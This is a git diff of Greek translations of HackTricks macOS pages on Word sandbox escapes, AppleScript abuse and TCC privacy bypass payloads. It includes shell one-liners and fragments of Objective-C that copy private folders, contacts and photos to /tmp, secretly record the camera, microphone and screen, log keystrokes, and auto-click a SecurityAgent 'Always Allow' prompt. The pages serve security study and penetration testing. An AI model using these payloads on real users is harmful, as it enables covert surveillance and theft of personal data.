είναι **notarized** και **δεν είναι δυνατή η προσθήκη args** (έτσι δεν μπορείς απλά να τρέξεις ένα reverse shell χρησιμοποιώντας **`bash`**). -Από την προηγούμενη παράκαμψη του Sandbox, η Microsoft απενεργοποίησε τη δυνατότητα εγγραφής αρχείων στο `~/Library/LaunchAgents`. Ωστόσο, ανακαλύφθηκε ότι εάν τοποθετήσετε ένα **αρχείο zip ως Login Item**, το `Archive Utility` θα το αποσυμπιέσει στην τρέχουσα τοποθεσία του. Έτσι, επειδή από προεπιλογή ο φάκελος `LaunchAgents` από το `~/Library` δεν δημιουργείται, ήταν δυνατό να **συμπιέσετε ένα plist στο `LaunchAgents/~$escape.plist`** και να τοποθετήσετε το αρχείο zip στο **`~/Library`** έτσι ώστε όταν αποσυμπιέσετε να φτάσει στον προορισμό της μόνιμης αποθήκευσης. +Από την προηγούμενη εκμετάλλευση Sandbox, η Microsoft απενεργοποίησε την επιλογή να γράφει αρχεία στο `~/Library/LaunchAgents`. Ωστόσο, ανακαλύφθηκε ότι αν βάλεις ένα **zip αρχείο ως Login Item**, το `Archive Utility` θα **αποσυμπιέσει** απλά το αρχείο στην τρέχουσα τοποθεσία του. Έτσι, επειδή από προεπιλογή ο φάκελος `LaunchAgents` από το `~/Library` δεν δημιουργείται, ήταν δυνατό να **zip-άρεις ένα plist στο `LaunchAgents/~$escape.plist`** και **να τοποθετήσεις** το zip αρχείο στο **`~/Library`** έτσι ώστε όταν αποσυμπιεστεί να φτάσει στον προορισμό επιμονής. -Ελέγξτε την [**αρχική αναφορά εδώ**](https://objective-see.org/blog/blog\_0x4B.html). +Δες την [**αρχική αναφορά εδώ**](https://objective-see.org/blog/blog\_0x4B.html). -### Παράκαμψη του Sandbox του Word μέσω των Login Items και του .zshenv +### Word Sandbox bypass via Login Items and .zshenv -(Θυμηθείτε ότι από την πρώτη παράκαμψη, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`). +(Θυμήσου ότι από την πρώτη εκμετάλλευση, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`). -Ωστόσο, η προηγούμενη τεχνική είχε μια περιορισμένη λειτουργία, +Ωστόσο, η προηγούμενη τεχνική είχε έναν περιορισμό, αν ο φάκελος **`~/Library/LaunchAgents`** υπάρχει επειδή κάποιο άλλο λογισμικό τον δημιούργησε, θα αποτύχει. Έτσι, ανακαλύφθηκε μια διαφορετική αλυσίδα Login Items για αυτό. + +Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει τα αρχεία **`.bash_profile`** και **`.zshenv`** με το payload για εκτέλεση και στη συνέχεια να τα zip-άρει και **να γράψει το zip στον φάκελο του θύματος**: **`~/~$escape.zip`**. + +Στη συνέχεια, πρόσθεσε το zip αρχείο στα **Login Items** και στη συνέχεια την εφαρμογή **`Terminal`**. Όταν ο χρήστης ξανασυνδεθεί, το zip αρχείο θα αποσυμπιεστεί στον φάκελο του χρήστη, αντικαθιστώντας τα **`.bash_profile`** και **`.zshenv`** και επομένως, το τερματικό θα εκτελέσει ένα από αυτά τα αρχεία (ανάλογα με το αν χρησιμοποιείται bash ή zsh). + +Δες την [**αρχική αναφορά εδώ**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). + +### Word Sandbox Bypass with Open and env variables + +Από τις διαδικασίες που είναι sandboxed είναι ακόμα δυνατό να προσκαλέσεις άλλες διαδικασίες χρησιμοποιώντας το **`open`** utility. Επιπλέον, αυτές οι διαδικασίες θα εκτελούνται **μέσα στο δικό τους sandbox**. + +Ανακαλύφθηκε ότι το open utility έχει την επιλογή **`--env`** για να εκτελέσει μια εφαρμογή με **συγκεκριμένες env** μεταβλητές. Επομένως, ήταν δυνατό να δημιουργηθεί το **`.zshenv` αρχείο** μέσα σε έναν φάκελο **μέσα** στο **sandbox** και να χρησιμοποιηθεί το `open` με `--env` ρυθμίζοντας τη **μεταβλητή `HOME`** σε αυτόν τον φάκελο ανοίγοντας την εφαρμογή `Terminal`, η οποία θα εκτελέσει το αρχείο `.zshenv` (για κάποιο λόγο ήταν επίσης απαραίτητο να ρυθμιστεί η μεταβλητή `__OSINSTALL_ENVIROMENT`). + +Δες την [**αρχική αναφορά εδώ**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). + +### Word Sandbox Bypass with Open and stdin + +Το **`open`** utility υποστήριξε επίσης την παράμετρο **`--stdin`** (και μετά την προηγούμενη εκμετάλλευση δεν ήταν πλέον δυνατό να χρησιμοποιηθεί το `--env`). + +Το θέμα είναι ότι ακόμα και αν το **`python`** ήταν υπογεγραμμένο από την Apple, **δεν θα εκτελέσει** ένα script με το **`quarantine`** χαρακτηριστικό. Ωστόσο, ήταν δυνατό να του περάσεις ένα script από stdin έτσι ώστε να μην ελέγξει αν ήταν καραντίνα ή όχι: + +1. Ρίξε ένα **`~$exploit.py`** αρχείο με αυθαίρετες εντολές Python. +2. Εκτέλεσε _open_ **`–stdin='~$exploit.py' -a Python`**, το οποίο εκτελεί την εφαρμογή Python με το ρίχτηκε αρχείο μας να χρησιμεύει ως τυπική είσοδος. Η Python εκτελεί ευτυχώς τον κώδικά μας, και καθώς είναι μια παιδική διαδικασία του _launchd_, δεν υπόκειται στους κανόνες sandbox του Word. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index bd6d310b8..c978320c2 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,52 +1,56 @@ # macOS Apple Scripts +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## Apple Scripts -Είναι μια γλώσσα σεναρίων που χρησιμοποιείται για την αυτοματοποίηση εργασιών **αλληλεπίδρασης με απομακρυσμένες διεργασίες**. Καθιστά αρκετά εύκολο να **ζητήσετε από άλλες διεργασίες να εκτελέσουν κάποιες ενέργειες**. Το **κακόβουλο λογισμικό** μπορεί να καταχραστεί αυτές τις λειτουργίες για να καταχραστεί τις λειτουργίες που εξάγονται από άλλες διεργασίες.\ -Για παράδειγμα, ένα κακόβουλο λογισμικό μπορεί να **ενθέσει αυθαίρετο κώδικα JS σε ανοιχτές σελίδες περιήγησης**. Ή να **κάνει αυτόματα κλικ** σε κάποιες άδειες που ζητούνται από τον χρήστη. +Είναι μια γλώσσα scripting που χρησιμοποιείται για αυτοματοποίηση εργασιών **αλληλεπιδρώντας με απομακρυσμένες διαδικασίες**. Διευκολύνει πολύ το **να ζητάμε από άλλες διαδικασίες να εκτελούν κάποιες ενέργειες**. **Malware** μπορεί να εκμεταλλευτεί αυτές τις δυνατότητες για να καταχραστεί λειτουργίες που εξάγονται από άλλες διαδικασίες.\ +Για παράδειγμα, ένα malware θα μπορούσε να **εισάγει αυθαίρετο κώδικα JS σε ανοιγμένες σελίδες του προγράμματος περιήγησης**. Ή να **κάνει αυτόματη κλικ** σε κάποιες επιτρεπόμενες άδειες που ζητούνται από τον χρήστη; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` Εδώ έχετε μερικά παραδείγματα: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Βρείτε περισσότερες πληροφορίες σχετικά με κακόβουλο λογισμικό που χρησιμοποιεί AppleScripts [**εδώ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Βρείτε περισσότερες πληροφορίες σχετικά με το malware που χρησιμοποιεί applescripts [**εδώ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Τα Apple scripts μπορούν εύκολα να "**μεταγλωττιστούν**". Αυτές οι εκδόσεις μπορούν εύκολα να "**απομεταγλωττιστούν**" με τη χρήση της εντολής `osadecompile`. +Τα Apple scripts μπορούν να "**συμπιεστούν**" εύκολα. Αυτές οι εκδόσεις μπορούν να "**αποσυμπιεστούν**" εύκολα με το `osadecompile` -Ωστόσο, αυτά τα scripts μπορούν επίσης να εξαχθούν ως "**Μόνο για ανάγνωση**" (μέσω της επιλογής "Εξαγωγή..."): +Ωστόσο, αυτά τα scripts μπορούν επίσης να **εξαχθούν ως "Μόνο για ανάγνωση"** (μέσω της επιλογής "Εξαγωγή..."):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -Ωστόσο, υπάρχουν ακόμα μερικά εργαλεία που μπορούν να χρησιμοποιηθούν για να κατανοήσουν αυτού του είδους τα εκτελέσιμα, [**διαβάστε αυτή την έρευνα για περισσότερες πληροφορίες**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Το εργαλείο [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) με το [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) θα είναι πολύ χρήσιμο για να κατανοήσετε πώς λειτουργεί το σενάριο. +και σε αυτή την περίπτωση το περιεχόμενο δεν μπορεί να αποσυμπιεστεί ακόμη και με το `osadecompile` + +Ωστόσο, υπάρχουν ακόμα μερικά εργαλεία που μπορούν να χρησιμοποιηθούν για να κατανοήσουν αυτούς τους τύπους εκτελέσιμων, [**διαβάστε αυτή την έρευνα για περισσότερες πληροφορίες**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Το εργαλείο [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) με το [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) θα είναι πολύ χρήσιμο για να κατανοήσετε πώς λειτουργεί το σενάριο. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index edee7930f..d642bb5aa 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,30 +1,28 @@ # macOS TCC Payloads +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Επιφάνεια εργασίας +### Desktop -* **Δικαίωμα**: Κανένα +* **Entitlement**: Κανένα * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -60,7 +58,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Αντιγράψτε το `$HOME/Desktop` στο `/tmp/desktop`. - ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -69,15 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Έγγραφα -* **Δικαίωμα**: Κανένα +* **Δικαιώματα**: Κανένα * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Αντιγράψτε το `$HOME/Documents` στο `/tmp/documents`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -113,7 +107,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Αντιγράψτε το `$HOME/`Documents στο `/tmp/documents`. - ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -122,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents" ### Λήψεις -* **Δικαίωμα**: Κανένα +* **Δικαιώματα**: Κανένα * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Αντιγράψτε το `$HOME/Downloads` στο `/tmp/downloads`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -165,8 +155,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Αντιγράψτε το `$HOME/Λήψεις` στο `/tmp/λήψεις`. - +Αντιγράψτε το `$HOME/Dowloads` στο `/tmp/downloads`. ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` @@ -175,15 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads" ### Βιβλιοθήκη Φωτογραφιών -* **Προνόμιο**: `com.apple.security.personal-information.photos-library` +* **Δικαιώματα**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -219,7 +205,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Αντιγράψτε το `$HOME/Pictures/Photos Library.photoslibrary` στο `/tmp/photos`. - ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -228,15 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### Επαφές -* **Δικαίωμα**: `com.apple.security.personal-information.addressbook` +* **Δικαιώματα**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -272,7 +254,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Αντιγράψτε το `$HOME/Library/Application Support/AddressBook` στο `/tmp/contacts`. - ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -281,11 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ### Ημερολόγιο -* **Δικαίωμα**: `com.apple.security.personal-information.calendars` +* **Δικαιώματα**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` +{% tabs %} +{% tab title="ObjectiveC" %} Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`. - ```objectivec #include #include @@ -317,19 +299,24 @@ NSLog(@"Copy completed successfully.", error); fclose(stderr); // Close the file stream } ``` +{% endtab %} +{% tab title="Shell" %} Αντιγράψτε το `$HOME/Library/Calendars` στο `/tmp/calendars`. - ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` +{% endtab %} +{% endtabs %} + +### Κάμερα + +* **Δικαιώματα**: `com.apple.security.device.camera` +* **TCC**: `kTCCServiceCamera` {% tabs %} -{% tab title="undefined" %} -Καταγράψτε ένα βίντεο διάρκειας 3 δευτερολέπτων και αποθηκεύστε το στο **`/tmp/recording.mov`** -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjetiveC - Εγγραφή" %} +Εγγραφή ενός βίντεο 3 δευτερολέπτων και αποθήκευση στο **`/tmp/recording.mov`** ```objectivec #import #import @@ -407,11 +394,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="undefined" %} -Ελέγξτε εάν το πρόγραμμα έχει πρόσβαση στην κάμερα. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjectiveC - Έλεγχος" %} +Ελέγξτε αν το πρόγραμμα έχει πρόσβαση στην κάμερα. ```objectivec #import #import @@ -444,8 +428,7 @@ fclose(stderr); // Close the file stream {% endtab %} {% tab title="Shell" %} -Λήψη φωτογραφίας με την κάμερα - +Βγάλε μια φωτογραφία με την κάμερα ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` @@ -454,15 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ### Μικρόφωνο -* **Προνόμιο**: **com.apple.security.device.audio-input** +* **Δικαιώματα**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="undefined" %} -Εγγράψτε 5 δευτερόλεπτα ήχου και αποθηκεύστε το στο `/tmp/recording.m4a` -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjetiveC - Εγγραφή" %} +Εγγραφή 5 δευτερολέπτων ήχου και αποθήκευση στο `/tmp/recording.m4a` ```objectivec #import #import @@ -561,11 +541,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="undefined" %} -Ελέγξτε εάν η εφαρμογή έχει πρόσβαση στο μικρόφωνο. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjectiveC - Έλεγχος" %} +Ελέγξτε αν η εφαρμογή έχει πρόσβαση στο μικρόφωνο. ```objectivec #import #import @@ -596,8 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -Καταγράψτε έναν ήχο διάρκειας 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav` - +Καταγράψτε ένα ήχο 5 δευτερολέπτων και αποθηκεύστε τον στο `/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -610,18 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav ### Τοποθεσία {% hint style="success" %} -Για να μπορεί μια εφαρμογή να λάβει την τοποθεσία, **πρέπει να είναι ενεργοποιημένες οι Υπηρεσίες Τοποθεσίας** (από τις Ρυθμίσεις Απορρήτου & Ασφάλειας), αλλιώς δεν θα μπορεί να την αποκτήσει. +Για να αποκτήσει μια εφαρμογή την τοποθεσία, **Οι Υπηρεσίες Τοποθεσίας** (από την Ιδιωτικότητα & Ασφάλεια) **πρέπει να είναι ενεργοποιημένες,** αλλιώς δεν θα μπορεί να έχει πρόσβαση σε αυτήν. {% endhint %} -* **Entitlement**: `com.apple.security.personal-information.location` -* **TCC**: Χορηγήθηκε στο `/var/db/locationd/clients.plist` +* **Δικαιώματα**: `com.apple.security.personal-information.location` +* **TCC**: Χορηγείται στο `/var/db/locationd/clients.plist` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjectiveC" %} Γράψτε την τοποθεσία στο `/tmp/logs.txt` -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -670,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt ``` {% endtab %} -{% tab title="undefined" %} +{% tab title="Shell" %} Αποκτήστε πρόσβαση στην τοποθεσία -{% endtab %} - -{% tab title="undefined" %} ``` ??? ``` {% endtab %} +{% endtabs %} + +### Καταγραφή Οθόνης + +* **Δικαιώματα**: Κανένα +* **TCC**: `kTCCServiceScreenCapture` -{% tab title="undefined" %} {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjectiveC" %} Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα στο `/tmp/screen.mov` -{% endtab %} - -{% tab title="undefined" %} ```objectivec #import #import @@ -744,28 +716,21 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% tab title="Shell" %} Καταγράψτε την κύρια οθόνη για 5 δευτερόλεπτα - ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -{% endtab %} -{% tab title="undefined" %} -#### Προσβασιμότητα -{% endtab %} +### Προσβασιμότητα -{% tab title="undefined" %} -* **Προνόμιο**: Κανένα +* **Δικαιώματα**: Κανένα * **TCC**: `kTCCServiceAccessibility` -{% endtab %} -{% tab title="undefined" %} -Χρησιμοποιήστε το προνόμιο TCC για να αποδεχθείτε τον έλεγχο του Finder πατώντας το πλήκτρο enter και να παρακάμψετε έτσι το TCC. -{% endtab %} +Χρησιμοποιήστε το δικαίωμα TCC για να αποδεχθείτε τον έλεγχο του Finder πατώντας enter και να παρακάμψετε το TCC με αυτόν τον τρόπο -{% tab title="undefined" %} +{% tabs %} +{% tab title="Αποδοχή TCC" %} ```objectivec #import #import @@ -820,7 +785,6 @@ return 0; {% tab title="Keylogger" %} Αποθηκεύστε τα πατημένα πλήκτρα στο **`/tmp/keystrokes.txt`** - ```objectivec #import #import @@ -928,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -Η πρόσβαση στην προσβασιμότητα είναι μια πολύ ισχυρή άδεια, μπορείτε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα μπορείτε να πραγματοποιήσετε επίθεση με πληκτρολόγηση μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε το System Events. +**Η προσβασιμότητα είναι μια πολύ ισχυρή άδεια**, θα μπορούσατε να την καταχραστείτε με άλλους τρόπους, για παράδειγμα θα μπορούσατε να εκτελέσετε την **επίθεση πληκτρολογίου** μόνο από αυτήν χωρίς να χρειάζεται να καλέσετε τα System Events. {% endhint %} +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστήριξη HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
